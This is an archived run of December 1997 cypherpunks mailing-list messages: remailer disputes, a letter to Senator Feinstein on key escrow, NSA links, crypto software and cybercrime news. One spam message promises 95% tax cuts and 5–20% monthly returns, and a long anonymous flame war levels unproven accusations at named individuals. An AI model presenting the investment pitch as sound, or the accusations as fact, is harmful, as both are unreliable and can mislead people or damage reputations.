of itself. You can choose from hundreds of sale-priced sets by jazz, rock, classical and country music legends! GIFT CERTIFICATES No time to shop this year? Now that your friends and family members finally have email accounts, send them Music Boulevard Gift Certificates. Available in any amount, gift certificates can be redeemed without turning off the computer and starting up the car! ONE DOLLAR SHIPPING Speaking of cars, this year you can have all your music gift selections shipped to your own home for just $1,* That's less than you'd spend on gas to drive to the mall (and you don't have to brave the weather or the crowds either)! *$1 SHIPPING is available for all U.S. Orders shipped by standard USPS; upgraded shipping methods will incur an additional charge. GIFT SHIPPING Can't make it home for the holidays? We'll send your gifts home for you with your own personal message included! GIFT SHIPPING is available at no extra charge - just $1* for U.S. Orders. Last-minute shoppers can take advantage of our EXPRESS DELIVERY shipping option - we can send your U.S. orders by FedEx 2-Day or Overnight Delivery to make sure your gifts arrive in the "nick" of time! NEW STORE FEATURE -- ONLINE ORDER STATUS Have you recently placed an order with us? Now you can check your order's status directly online with our new ONLINE ORDER STATUS feature. No more wondering if you're order has shipped yet -- we'll give you the facts in an instant! NEW RELEASES Gift Alert: We've got the newest releases from pop superstars Babyface and Celine Dion, rap and hip-hop favorites Will Smith and Tupac, hard-rockers Metallica and Led Zeppelin, rising stars Hanson and Sublime, and country royalty Garth Brooks and Shania Twain, as well as a brand new album from the legendary diva herself, Barbra Streisand! Don't forget to reward yourself for your generous shopping efforts by getting your very own copy of the historic 2-CD 36-song tribute to the late Diana, Princess of Wales, featuring songs by Toni Braxton, Eric Clapton, and Puff Daddy along with new tracks from Annie Lennox, Aretha Franklin, Rod Stewart and many, many others. OUR GIFT TO YOU To thank you for being a loyal Music Boulevard customer, we'd like to send you a small holiday gift *** $3 store credit***, good towards anything in the store, no restrictions. Follow the URL below (or cut and paste it into your browser's location bar) to claim your Holiday gift, with our best wishes for a joyous holiday season. http://www.musicblvd.com/holidaygift Make sure that you stop by soon. This coupon will expire on Dec. 31,1997. Happy Shopping! --------------------------- TO UNSUBSCRIBE --------------------------- To unsubscribe from this mailing list, send an Email to: remove-musicblvd at sparklist.com and you will automatically be removed from this list. T H A N K S F O R S H O P P I N G A T M U S I C B O U L E V A R D ! From nobody at REPLAY.COM Wed Dec 10 06:55:23 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 10 Dec 1997 22:55:23 +0800 Subject: M$ Message-ID: <199712101441.PAA12002@basement.replay.com> On the frontpage of the USA Tomorrow: - Finalized is the merger Mr. T and NWO, Inc iniatied with Microsoft. Sources for the NWO, Inc. said that with attitude of Mr. T and the Microsoft domination of computers would help in helping citizens confirm to their idiotic ideas. - grubament studies have determined that electron ray showers from the distant plant QWERTY (2nd behind the Death Star) could contain obscene pictures or worse +467973 bit encrypted messages that can be received on the average watch calculator and so it should be destroyed to protect those without mechanisms to think for themselves. - the chief fireant in charge of the DNA Supercomputer is quoted as saying that the 'BendOverAndPayYourTaxes Bull' (TM) algorithm had found that of all the shit politicians make up there worse is the shit that won't flush. - In Rhode Island it is a felony punishable my 10 years and/or a e$10,000 fine to have or have knowledge that a person is thinking about an immoral act. - Jerry Springer, their chief journalist, confirmed with pictures of the rumors that Bill Klinton WAS associating with a Cypherpunk to be Indicted Later at Brooklyn Zoo speaking in the non-decryptable tongue of language Ebonics. The transcript of the meeting was given to a fireants at the DNA Supercomputer Lab in a slight hope of finding out what was said. -Joe7 From landon at best.com Wed Dec 10 06:57:26 1997 From: landon at best.com (landon dyer) Date: Wed, 10 Dec 1997 22:57:26 +0800 Subject: feinstein and domestic crypto curbs Message-ID: <3.0.3.32.19971210063909.00a3cdd0@shell9.ba.best.com> here's the text of a letter that i snail-mailed to california's senator dianne feinstein in early september: ---------------- Landon Dyer September 8, 1997 Campbell, CA Senator Dianne Feinstein United States Senate 331 Hart Senate Office Building Washington, D.C. 20510 Dear Senator Feinstein, I am writing this to you because of some statements you made last week in a Senate Judiciary committee on the subject of mandatory key escrow for domestic encryption products. To be frank: I was shocked and sickened by your statement that "nothing other than some form of mandatory key recovery really does the job" of preventing crime. I urge you to seek out experts in industry and talk to them about why this approach is fundamentally unworkable. I urge you to re-read 1984. I urge you to remember the abuses of the Hoover FBI. Mandatory key escrow is extremely dangerous stuff. I do not believe the government should have this power because of the enormous potential and temptation for its abuse. (Corruption does happen. Remember the case in California recently where DMV employees were selling driver's license information to supermarkets?). And any repository of escrowed keys would be a very attractive target for break-ins Mandatory key escrow would cripple important parts of our nation's software industry. Why should we do this just to make law enforcement's job a little easier? Americans need better, more ubiquitous encryption, not less, to protect us from crime. We don't need Big Brother, and that's exactly what mandatory escrow would give us. Sincerely, Landon Dyer Sr. Software Engineer ---------------- here's feinstein's reply, which i received a couple of days ago. i've transcribed it pretty carefully, and left the typos intact with [sic], any other typos are mine: ---------------- October 23, 1997 Dear Mr. Dyer: Thank you for contacting me regarding federal encryption policy. I appreciate your taking the time to write to me on this issues [sic]. It is important for me to hear from my California constituents as this debate continues. As you know, numerous legislative proposals have been put forth to amend or restructure encryption controls. Cryptographic, or encryption, software uses complex algorithms to scramble information, thus providing greater privacy for the information. I read your recent letter on encryption and believe that the attached San Jose Mercury News interview correctly states my views. As we both know, this is a complicated and difficult issue which affects many California constituencies. I am open to suggestions as to how vital privacy rights and public safety needs can be supported and protected. I value your opinion and appreciate you actively contributing to this legislative discusstion. As Congress proceeds to debate various encryption proposals, I look forward to a thorough review of this issue. While I want to promote business opportunity for U.S. firms I do not want to do so at the expense of law enforcement. Once again, thank you your [sic] correspondence. I hope that you will continue to share your thoughts and ideas with me. If I can be of further assistance, please to not hesitate to contact my Washington, D.C. office at 202/224-3841 With warmest personal regards, Sincerely yours, (signed) Dianne Feinstein Enclosure [enclosed: the 15-Sep-97 SJ Merc article on D.F.'s crypto curb support] -------------- nothing terribly surprising, really -- i wasn't expecting any response at all, though -landon From nobody at REPLAY.COM Wed Dec 10 07:54:29 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 10 Dec 1997 23:54:29 +0800 Subject: Gary L. Burnore's Paranoid Hatred of Privacy and Anonymity Message-ID: <199712101544.QAA18369@basement.replay.com> gburnore at netcom.com (Gary L. Burnore) wrote: > :Most control freaks like Gary Burnore and the rest of the DataBasix Gang are > :hypocritical about privacy. They want to invade that of others at will while > :protecting their own. Gary Burnore and Belinda Bryan > :were worried that their UNLISTED PHONE NUMBERS might be given out, but anyone > :who dares criticize their actions with an "unlisted" e-mail address is an > :"anon asshole". > > So you'll post your address and phone number right away, right? You go first, since you claim you "have nothing to hide". Why would anyone with "nothing to hide" choose to "hide behind the skirts of" an unlisted phone number and street address? (Recognize the rhetoric? It's yours, not mine.) > :I'm still wondering what wondrous plans Gary and Belinda had for all > :those e-mail addresses of the users of the Huge Cajones Remailer if Jeff > :Burchell had turned them over to DataBasux as they had demanded. (Not just the > :senders but the RECIPIENTS as well!) > > > More lies from the anonymous asshole. I posted the URL. What part of it was a "lie"? Are you now denying that you demanded that Jeff Burchell turn over the sendmail logs from his Huge Cajones Remailer to you and Belinda Bryan? > : Fortunately, Jeff was smarter than your > :average Burnore and didn't keep such things around to tempt DataBasix, > :Scientology, etc., so we'll never find out. > > Supposidly, they weren't available. Now you're claiming he had them but kept > them private. What else will you accuse Jeff of? Jeff didn't do anything > wrong yet you constantly berate him. What do you have to gain by demeaning > Jeff? Haha! Nice try at IKYABWAI. I guess that's the best you at DataBasix can do to try to divert attention from your activities and tactics? You and Belinda were the anti-privacy control freaks who supposed that Jeff had created and maintained logs for abusive organizations like DataBasix and the Church of Scientology to demand. Jeff knew better all along and didn't keep such info to tempt people like you. Had you done your homework rather than blindly attacking Jeff and his remailer, you'd have known that such data didn't exist and could have saved yourselves the embarrassment of being caught trying to demand it. You still haven't stated your reason for demanding these logs which, had they existed, would have identified everyone who either sent or received anonymous messages through the Huge Cajones Remailer. What wonderful surprises lay in store for remailer users after their identities had fallen into your hands? > Why are you trying to get remailers shut down. Jeff Burchell NAMED his attackers. Would you care to point out my name in his post? (Yours is named rather often.): http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited at toad.com/HTML-1997-11/msg00536.html Your paranoid conspiracy theories remind me of the kid who blamed the mess in his bedroom on an invisible herd of stampeding elephants. ("Well of course you didn't see them, dad. They're INVISIBLE.") In your case, you speculate that there's a single "anonymous asshole" who's responsible for everything that you CLAIM has occurred. The problem is, you haven't proven that 90% of the stuff you *CLAIM* occurred even happened, let alone was the work of your imaginary lone "spam-baiting/forging/child-molesting/cyber-stalking/libeling" (did I miss anything?) so-called "anon asshole". How about some proof of your wild charges, Gary? Only one of us even USES remailers (or at least admits to it). You, OTOH, have never had a civil word to say about ANY anonymous poster. If remailers were shut down, I'd lose my ability to post. What would you lose, Gary? Is being able to identify your critics and single them out for harassment really that important to you? From jya at pipeline.com Wed Dec 10 08:06:35 1997 From: jya at pipeline.com (John Young) Date: Thu, 11 Dec 1997 00:06:35 +0800 Subject: NSA News Message-ID: <1.5.4.32.19971210155310.00703fa0@pop.pipeline.com> "National Cryptologic Strategy for the 21st Century": http://jya.com/nsa-ncs21.htm "UFO Documents Index" http://jya.com/nsa-ufo.htm "NSA's FOIA/PA Home Page" http://www.nsa.gov:8080/docs/efoia/ "National Vigilance Park" http://www.nsa.gov:8080/display/c130/ "During the Cold War period of 1945-1977, a total of more than 40 reconnaissance aircraft were shot down. The secrecy of the reconnaissance programs prevented recognition of the slain military personnel at the time of the incidents. Their loss was mourned by their fellow soldiers, sailors, airmen, and marines in similar programs, but the fallen could not be accorded public honors. The end of the Cold War has allowed the United States to lift some of its security restrictions concerning the reconnaissance programs, permitting us at last to accord due recognition of the achievements and sacrifices of these intrepid military personnel, and to tell their stories. " From rem at jaguar.dal-tek.net Thu Dec 11 01:14:20 1997 From: rem at jaguar.dal-tek.net (rem at jaguar.dal-tek.net) Date: Thu, 11 Dec 1997 01:14:20 -0800 (PST) Subject: FIVE QUESTIONS THAT COULD CHANGE YOUR LIFE Message-ID: <199712112153.QAA00910@jaguar.dal-tek.net> Should you wish to be removed from our list, please follow simple instructions at the end of this short message. FIVE QUESTIONS THAT CAN CHANGE YOUR LIFE Can you answer these 5 questions with a simple "Yes" or "No"? 1. Do you want to legally reduce your business and or personal taxes up to 95%? - Yes or No 2. Would you like to protect any and all assets from any form of judgement, which also includes IRS liens and levies? - Yes or No 3. Would you like to preserve your personal privacy? - Yes or No 4. Would you like to create a six figure income in the next four to six months? - Yes or No 5. Would you like to earn 5%-20% per month on your money? - Yes or No If you answered "Yes" to any or all of the five questions, then I urge you to call the number below. You can listen to either the 5 or 12 minute message, which will give you an overview of our unique strategies. You owe it to yourself to be fully informed. Phone: 1-800-937-5377 Ext. 9300 for a 2 minute Company Overview Access our 5 and 12 minute messages at 1-512-505-6880 Then simply email me at: rich at jaguar.dal-tek.net and ask for the URL and Autoresponder addresses for further information. Please place "URL6" as your message subject or use the hyperlink, below. HyperLink: mailto:rich at jaguar.dal-tek.net?subject=URL6 ASK ABOUT OUR HOLIDAY SPECIAL!! Price reduced thru Dec. 15th. To your future, Richard NOTE: To be automatically removed from our mailing list simply hit REPLY to this message. From zahn at berlin.snafu.de Wed Dec 10 11:42:37 1997 From: zahn at berlin.snafu.de (Steffen Zahn) Date: Thu, 11 Dec 1997 03:42:37 +0800 Subject: Cantsin package Message-ID: <199712101933.UAA04105@n242-234.berlin.snafu.de> Hello, I have updated my package for Cantsin No. 2 signatures to the new version 0.3. New things: - faster key generation - a mechanism to allow the storage of the private key encrypted with an external encryption program. Example included. - it is possible to sign only a part of a document. Url: http://www.snafu.de/~zahn/cantsin.tar.gz (86 Kbytes) SHA1: 0EBF0D27794D800AB405C2857D7E05A35AFBDA43 -- home email: user at domain where domain=berlin.snafu.de, user=zahn Use of my address for unsolicited commercial advertising is forbidden. "Where do you want to crash today?" 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 712ADCBCF936ECA98E9F5D12AE0138F0436836A1 1DF318C78150B5FFD888B3AE7E35D0A6CFDB74DC -25E 12D 9C9DBD881A34F595E9F633E8B256C3B7E8F412962BACE35F9AD40C24DFB22DE9F09499654F5F708382C04E346CBC7A8CFDC2AC15330662C56AA3CFE2F8322DBD0060DF0E5476458CD6F701F68B14EDB92FC90C6AF7B5930BC9EE38668FC8705BDFF0BB4FDA9AD22D1131B912F61913EE8E39F99D0CF271C8FF6BEE770100E7BB01A020C043E5FABF881 603CC526BC17A43A6E95148521CB5A4AC9FE2255DF75C96FFC56707F448643EC802613CBEC4384857765314239E0375ADD576F2EE71007B930633F44369ACDD3D903BB10CA04212BAF82D8068A76A76BF8362CEFA80C0A2BDE49F7ED53E6CDBF6BC1A9E9706B7F980692FDEA49730C455D0ED70217AE0202D8564122B1E689DE479368AE30627BCCCC9 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 712ADCBCF936ECA98E9F5D12AE0138F0436836A1 3E867F56C28C9FF74CC3DB24778ECE43ECEB4999 -3ED FB 2E1FAA33F5F505BE6484FB709858D29D9581A311E0255398214BA00CD56514C216DEE12C58E09FC490C34428D2231A25297D52C4C0FF7DA527848D93F48EE0CA360A24F6B45948878832BC7159B59DE588121CD28A53CF3E3CB32ACA2A4FAE783CB1E699495A9D056F649F6A0E51B252AE42F5703882E6F82116795FD68C889459FED62A674A83F4064 99392BC9B969C2853FC581B9B69C6F375F7DD0225DE3BB91606DCEF6969FEE32CD9A6C4EF9750CE590B092818F1629730BB51A4865C1162F1D8CEAF478334A58C9285D97C8D31E485C062936ED185BEB3B66739D1FFEF6C0FEAF0228AF6039DBB9E38C6248F9983A660CB6B68F2483CEB5581E3C6CA125678D005E8AB9AE220338B9F2BA569C84370EB From eric.seggebruch at East.Sun.COM Wed Dec 10 11:56:56 1997 From: eric.seggebruch at East.Sun.COM (Eric Seggebruch - NYC SE) Date: Thu, 11 Dec 1997 03:56:56 +0800 Subject: 'Off' the parking pigs! (fwd) In-Reply-To: <199712040043.SAA15787@einstein.ssz.com> Message-ID: <348EF169.FB1AF73D@east.sun.com> Actually it is possible for the government to get more than one shot at a defendant through the doctrine of dual sovereignty (state and federal). That is how they got the police officers involved in the Rodney King incident. When the state court (California) jury let them off, the feds prosecuted them for civil rights violations in federal court. There you have it. -- ********************************************************************* Eric Seggebruch Systems Engineer New York City - Media Sun Microsystems Computer Corporation One New York Plaza 35th Floor New York, NY 10004 212-558-9206 (office) 800-759-8888 pin 5013326 (page) eric.seggebruch at east.sun.com ********************************************************************* From ravage at ssz.com Wed Dec 10 12:09:13 1997 From: ravage at ssz.com (Jim Choate) Date: Thu, 11 Dec 1997 04:09:13 +0800 Subject: 'Off' the parking pigs! (fwd) Message-ID: <199712102019.OAA09412@einstein.ssz.com> Forwarded message: > Date: Wed, 10 Dec 1997 14:45:46 -0500 > From: Eric Seggebruch - NYC SE > Subject: Re: 'Off' the parking pigs! (fwd) > Actually it is possible for the government to get more than one shot at > a defendant through the doctrine of dual sovereignty (state and > federal). That is how they got the police officers involved in the > Rodney King incident. When the state court (California) jury let them > off, the feds prosecuted them for civil rights violations in federal > court. > > There you have it. We got nothing here. The fact is that the charges that were used at the state and federal level were different charges relating to the same incident. This is *not* double jeopardy in any sense of the word. Further, other than the Feds deciding to wait until the outcome of the state trial there was nothing that would have prevented them from filing in tandem. Furthermore, this rampant equating of federal and state rights is a real disservice to understanding the correct functioning of a democracy. State and federal government agencies are supposed to be equal and indipendant within the guidelines of the Constitution. As a result for a given act it is perfectly reasonable and actualy desirable for the state and federal agencies to file in parallel and indipendently. Re-read the 10th with this case in mind and perhaps it will clear the confusion up for you. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From shabbir at vtw.org Wed Dec 10 12:17:17 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Thu, 11 Dec 1997 04:17:17 +0800 Subject: Staff changes at the Center for Democracy and Technology In-Reply-To: <1.5.4.32.19971210040246.0070b5c8@pop.pipeline.com> Message-ID: Hey that felt good, thanks. I'm searching for office space as we speak. -S From nobody at REPLAY.COM Wed Dec 10 14:07:33 1997 From: nobody at REPLAY.COM (Anonymous) Date: Thu, 11 Dec 1997 06:07:33 +0800 Subject: Burnore & Databasix Message-ID: <199712102135.WAA26526@basement.replay.com> gburnore at netcom.com (Gary L. Burnore) wrote: > :> >We'd expect no less. I do wonder how long it will take before those who > :> >believe remailers are a good thing start to realise this asshole has > :> >it in for them. Everything it posts could be used by the anti-remailer > :> >front as a reason to shut them all down. > : > :Much of this "anti-remailer front" works for DataBasix. > > Another lie from the anonymous asshole. Prove it. Of course, you can't. You're denying that you, Belinda Bryan, and William McClatchie are staff members of DataBasix? Are you denying that McClatchie used unproven allegations of "forgery" as his excuse to campaign to get the upstream providers of Jeff Burchell's "Mailmasher" server to disconnect him? Do you remember McClatchie's post which said: -> > I encourage anyone who is being forged due to the deliberate negligence -> > on toxic's part to write hotwired and MCI asking that mailmasher be shut -> > down until it can longer be used to commit forgeries. Did you catch that -- "asking that mailmasher be shut down"? Have your forgotten the time McClatchie was asked this question: -> >>If that was done, then a complaint to the operator would have gotten -> >>that particular pseudonym making the postings locked out. But your -> >>agenda seemed to be to get the entire server shut down. Why? To which he replied: -> > Becuase the shithead running it pissed me off with his responce that "He -> > had better things to do" and "Maybe i should learn mmail filtering" to -> > avoid the abuse. And then there's Jeff's account of what followed. Do you remember when you asked him: -> > : So are you suggesting that McClatchie did that all by himself? Just -> > : curious, I don't know the details. And his response: -> > Nope. McClatchie posted a spammed message that was offering Pirated -> > CD-ROMS for sale. He just happened to send it to a number of companies -> > that had software products included on the CD-ROM. They in turn handed -> > the matter over to the Software Publisher's Association, which then -> > took their usual witchhunting activities to a new art form (including -> > using a personal contact at Wired for professional "gain") You said that it was the "anti-remailer front" that was using this alleged "abuse" to get remailers shut down, but McClatchie was the one named by Jeff of playing that very role. I'd like to hear more about this "anti-remailer front" you speak of. Thus far, you've claimed that all the anonymous posts that have criticized you have all come from the same person. That doesn't sound like much of a "front". How about some more NAMES? Who else is involved in this "front"? > : Notice the classic > :disinformation tactics that Gary Burnore is engaging in here. > > Engaging in? You post disinformation after disinformation and post no proof > of your aligations. Posting REPORTS of disinformation is not disinformation. You have posted no proof for any of your disinformation. For example, your unsubstantiated claim that someone (you actually accused someone by name) of sending abusive e-mail, via a remailer, to an unnamed "teenage girl" who supposedly had a web page at DataBasix. Where is your proof of that accusation? Saying that an anonymous person "abused" an unnamed victim is pretty flimsy, don't you think? Then Belinda Bryan came along and claimed that this same person had supposedly forged posts through an anonymous remailer in the names of "every known email address of DataBasix staff and customers". Again, no evidence that it even occurred, nor even an explanation of how someone OUTSIDE of your company would get ahold of that kind of confidential information! > : But notice > :that Gary was part of this "anti-remailer front" that used ALLEGED forgeries > :and "spam baiting" to get two remailers shut down. > > Again. PROVE IT. Now it's TWO remailers? Before you said it was one. Again, > Burchell said he shut down the remailer after hundreds of complaints. You're > suggesting that those hundreds came from DataBasix? PROVE IT. You're forgetting Mailmasher and McClatchie's hissy fit to get it shut down? > : It is interesting that > :he now attributes the activities of himself and his associates at > :DataBasix with this unnamed "anti-remailer front". > > No, it's closer to the facts than your posts. You consistantly post harass > from a remailer your tactics are obvious. You won't win though. Too many > people WANT remailers. Your lies are not working. Free speech is now "harassment"? (Only in the world of DataBasix!) If you didn't want people talking about the things you've done, you shouldn't have done them in the first place. Exactly what "harassment" are you alleging? You mean posting replies to you and answering the questions you asked? You whine for "proof" then scream "harassment" when it is posted. Cute. > So what are YOU doing it for? It's obviously not a privacy thing. You were > attacking me long before I complained to Burchell to get my name blocked. You > obvously have other reasons for your attacks. You obviously have a short memory. Your letter to Jeff Burchell demanded that he turn over his logs to you identifying everyone who had sent and received anonymous e-mail through his remailer. This was MONTHS after you whined about alleged "forgeries" and were told about having your name blocked upon request. Unless you deliberately avoided taking the advice you had been given then blocking your address would have been a non-issue by June, since you were whining about "forgeries" in February. Or are you talking about your attempt to get posts that even MENTIONED your name in the body blocked? > :Which makes one wonder why Gary and Belinda wanted to get ahold of the logs > :from the Huge Cajones Remailer which would have identified anyone who ever > :sent or even received anonymous mail through that remailer. Gary and Belinda > :have consistently stonewalled that question. My guess is that they were > :counting on Jeff keeping that dirty little secret of theirs hidden. > > Which makes one wonder what else your demented little mind will think up next. > Your claims are false, NO PROOF, none. Claims? I asked a QUESTION. What use did you have in mind for Jeff's remailer logs which you demanded? Since you refuse to answer, let me repeat Jeff's theory. If it's incorrect, please feel free to correct it: -> Subject: Re: DataBasix vs. the Remailers -- Gary Burnore's Dirty Tricks Exposed (was: Jeff's Side of the Story.) -> From: toxic at hotwired.com (Jeff Burchell) -> Date: 1997/07/02 -> Message-ID: <5pc9mb$omg$1 at re.hotwired.com> -> -> [...] -> -> : > Mr. Burnore requested a copy of my (non-existant) logs. -> : > I told him to get me something in writing, signed by his lawyer that -> : > stipulated that the logs were confidential, and not to be revealed to -> : > anyone outside of the lawyer's office. -> : -> : He requested the logs of the messages of *EVERYONE* using Huge -> : Cajones? What was his rationale for such a fishing expedition? -> : (Cases like this are a good reason for remailers to NOT keep logs.) -> -> I have no idea of his rationale. And I don't know of any remailer -> operator who keeps logs that would identify a user. I had my machine -> configured to log in a fairly standard way, but I used a different -> sendmail configuration for the remailer, that had all logging (except -> for certain error conditions) turned off. -> -> Part of me thinks he wanted the logs so he could tell if I was going -> to be able to identify him when he started his attacks. [...] > Yet, according to you I got his remailer shut down. Which is it? You claim I > got his remailer shut down but then you claim I didn't have the power to do > it. Go back and reread the post. It was the power to demand that Jeff turn over (non- existent) logs to you and Belinda that you didn't have. The rest makes no sense, because it's quite obvious that the remailer is SHUT DOWN. From schear at lvdi.net Wed Dec 10 14:22:29 1997 From: schear at lvdi.net (Steve Schear) Date: Thu, 11 Dec 1997 06:22:29 +0800 Subject: CITI conference:The Impact of Cybercommunications on the Law:Criminal, Message-ID: Anyone on the list planning to attend? ------------------------------------------------------------------------------- The Impact of Cybercommunications on the Law: Criminal, Tax, Securities, & Antitrust 20 December 12, 1997 - Dag Hammarskjold Lounge, Columbia University To register: email: citi at research.gsb.columbia.edu web: www.citi.columbia.edu Law in the Electronic Age - It's a Whole New World The questions of how to prevent and how to detect computer crime are just the start. Equally nettlesome are the legal questions which are just beginning to be confronted. For example: -How does one define a computer crime or tort? How does one prove it in court? How does one handle conflicts of laws issues when the locus of the "crime" is the internet? What remedies are available or useful - as a practical matter? How effective is criminal prosecution in this area? What happens when the "criminals" are foreign and their activites are lawful in the host country? -Who can tax electronic commerce? How do they do it? What is the territorial source of income generated in cyberspace? -How does one prove (or avoid) price collusion under the anti-trust laws when everyone's prices are instantly available to competitors online? What are the antitrust implications of network economic effects? -What does the SEC do regarding investor protection when foreign unregistered securities can be purchased from your desktop PC? What are the implications of cyberspace for the future of traditional distribution channels for IPO's. What is the future of traditional exchanges? This conference is the beginning of what may prove to be a series of events which will begin the exploration of these and related questions with experts active in this arena. 8:30 - 9:00 Continental Breakfast 9:00 - 9:15 Introductory Remarks 9:15 - 10:30 Computer Crime and Fraud, I Presentations: Electronic Evidence Recovery and its Use in the Courtroom" Jason Paroff, Kroll Associates, Inc. "Computer Crime: The Threat to the Net" David E. Green, Senior Litigation Counsel, U.S. Dept of Justice "International Schemes and Corruption" Don Sussis, Interested Inc. 10:30 - 10:45 Coffee Break 10:45 - 12:00 Computer Crime and Fraud, II Panel Discussion: Moderator:=20 Thomas J. Fox, Fordham Law School Discussants: James Doyle, NYPD Richard Field, Esq. Chris Hansen, Senior Counsel, ACLU David Sobel, Electronic Privacy Information Center Fred Trickey, Academic Computing, Columbia University 12:00 - 1:00 Lunch 1:00 - 2:20 Impact of the Internet on Tax Law "Electronic Commerce: Are The Current Tax Rules Adequate, Or Even Relevant" Howard Levine, Roberts & Holland Moderator:David L. Robbins, Columbia Business School Discussants: Jeffery Colon, Fordham Law School Elvin Hedgepeth, Director, Office of International Programs, IRS Robert Wood, Coopers & Lybrand 2:20 - 2:30 Coffee Break 2:30 - 3:50 Impact of the Internet on Securities Law "Securities Regulation and the Internet: Can Gatekeepers and Intermediaries Survive in Cyberspace" Robert B. Thompson, Washington University School of Law Moderator: Dr. James Armstrong, Director, Fundamental Family of Funds Discussants: Dr. Andreas J. Junius, Resident Partner, Puender, Volhard, Weber & Axster Elizabeth King, Senior Special Counsel, SEC Andrew Klein, President, Wit Capital Group 3:50 - 4:00 Coffee Break 4:00 - 5:20 Impact of the Internet on Antitrust Law "That the issue be decided: Cooperation and Competition on the Internet" David McGowan, Howard, Rice, Nemerovski, Canady, Falk, & Rabkin Discussants:=20 John Kasdan, Lecturer, Columbia Law School Laurel Price, Deputy Attorney General of New Jersey Lowell Williams, Vice President, Bull HN Information Systems 5:20 - 6:30 Reception Directions to Dag Hammarskjold Lounge The Dag Hammarskjold Lounge is located in the School of International Affairs. Enter at 118th Street between Amsterdam Avenue and Morningside Drive. Take the elevator to the 6th Floor. The local subway (#1/9) stops at Broadway and 116th street. Parking is available at Riverside Church on 120th Street, between Broadway and Riverside Drive, or on 114th Street betweenBroadway and Amsterdam. A full map of the campus and more detailed directions can be found at the website. Registration Fee (lunch and breaks included): Industry: $195; Gov't/Academic/Non-profit: $50 tel: 212-854-4222 fax: 212-932-7816 email: citi at research.gsb.columbia.edu web: www.citi.columbia.edu mail: C.I.T.I 3022 Broadway, 809 Uris Hall Columbia Business School New York, NY 10027-7004 From schear at lvdi.net Wed Dec 10 14:23:25 1997 From: schear at lvdi.net (Steve Schear) Date: Thu, 11 Dec 1997 06:23:25 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) In-Reply-To: <199712090021.SAA02221@einstein.ssz.com> Message-ID: At 3:43 PM +0000 12/9/1997, jonathon wrote: >On Mon, 8 Dec 1997, Jim Choate wrote: > >> analogous situation you would need to use a *listed* phone number registered >> to anonymous in such a way that ANI displayed the number but any directory >> search resulted in anonymous w/ no address or other tracing info even for >> the phone company. To the best of my knowledge no phone company anywhere Third party, anonymous, telephone services are available. One in Las Vegas (at least it used to be) is Private Lines, which is an anonyous re-dialer using 900 number billing for payment. --Steve From schear at lvdi.net Wed Dec 10 14:23:39 1997 From: schear at lvdi.net (Steve Schear) Date: Thu, 11 Dec 1997 06:23:39 +0800 Subject: Brilliant Anti-Armor Submunition: Opportunity Exists to ConductCritical Test Prior to Production Decision Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1317 bytes Desc: not available URL: From declan at well.com Wed Dec 10 14:41:36 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 11 Dec 1997 06:41:36 +0800 Subject: Cybercrime Summit, from Netly/Afternoon Line Message-ID: ************* http://cgi.pathfinder.com/netly/afternoon/0,1012,1626,00.html The Netly News / Afternoon Line (http://netlynews.com/) December 10, 1997 Big Eight Ball At a briefing at FBI headquarters today, top police officials from eight countries outlined a 10-point action plan calling for greater cooperation, joint training and a revision of national laws to combat malicious hackers and "cybercrime." Anne McLellan, Canada's attorney general, said her country wanted to crack down on "old crimes using new technology -- for example, child pornography or hate." Left unsaid was how, for instance, the U.S. could follow Canada's lead and ban racist web sites, which are permissible under the First Amendment. Among the virtual crimes listed were the "cyber-offenses" of money laundering and... H-bomb smuggling? (In response to a reporter's question, the Russians denied they had misplaced 84 of their nuclear weapons.) Heinz Lanfermann, Germany's state secretary, added to the list of Internet undesirables "all those who are organizing slave trading and drug trafficking and car theft." U.S. Attorney General Janet Reno pointedly declined to address encryption, saying "it was generally not a topic" discussed. She did, however, applaud the Internet industry for offering to "work together in a collaborative manner" to track "computer criminals." But she clearly intends to do more than collaborate: The joint principles call for the government "to continue providing the public and private sectors with standards for reliable and secure telecommunications and data processing technologies." Like the Clipper Chip, maybe? --By Declan McCullagh/Washington [More Afternoon Line stories are at http://netlynews.com/ ] From ravage at ssz.com Wed Dec 10 14:43:41 1997 From: ravage at ssz.com (Jim Choate) Date: Thu, 11 Dec 1997 06:43:41 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) Message-ID: <199712102253.QAA09939@einstein.ssz.com> Forwarded message: > Date: Wed, 10 Dec 1997 12:54:26 -0800 > From: Steve Schear > Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd) > > At 3:43 PM +0000 12/9/1997, jonathon wrote: > >On Mon, 8 Dec 1997, Jim Choate wrote: > > > >> analogous situation you would need to use a *listed* phone number registered > >> to anonymous in such a way that ANI displayed the number but any directory > >> search resulted in anonymous w/ no address or other tracing info even for > >> the phone company. To the best of my knowledge no phone company anywhere > > Third party, anonymous, telephone services are available. One in Las Vegas (at least it used to be) is Private Lines, which is an anonyous re-dialer using 900 number billing for payment. Yeah, and the way it works is that some 3rd party buys a trunk from the local RBOC and then sets up their PBX and then re-sells the lines. Here's your test for them. Buy a line and have them list it in the RBOC directory under 'anonymous'. Not the same thing as going directly to the RBOC and having them list your number under 'anonymous'. THAT is the litmus test for true anonymous phone service *and* to make it equivalent to an anonymous remailer with address persistance. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From declan at well.com Wed Dec 10 15:06:39 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 11 Dec 1997 07:06:39 +0800 Subject: Clinton in the doghouse (humor) Message-ID: 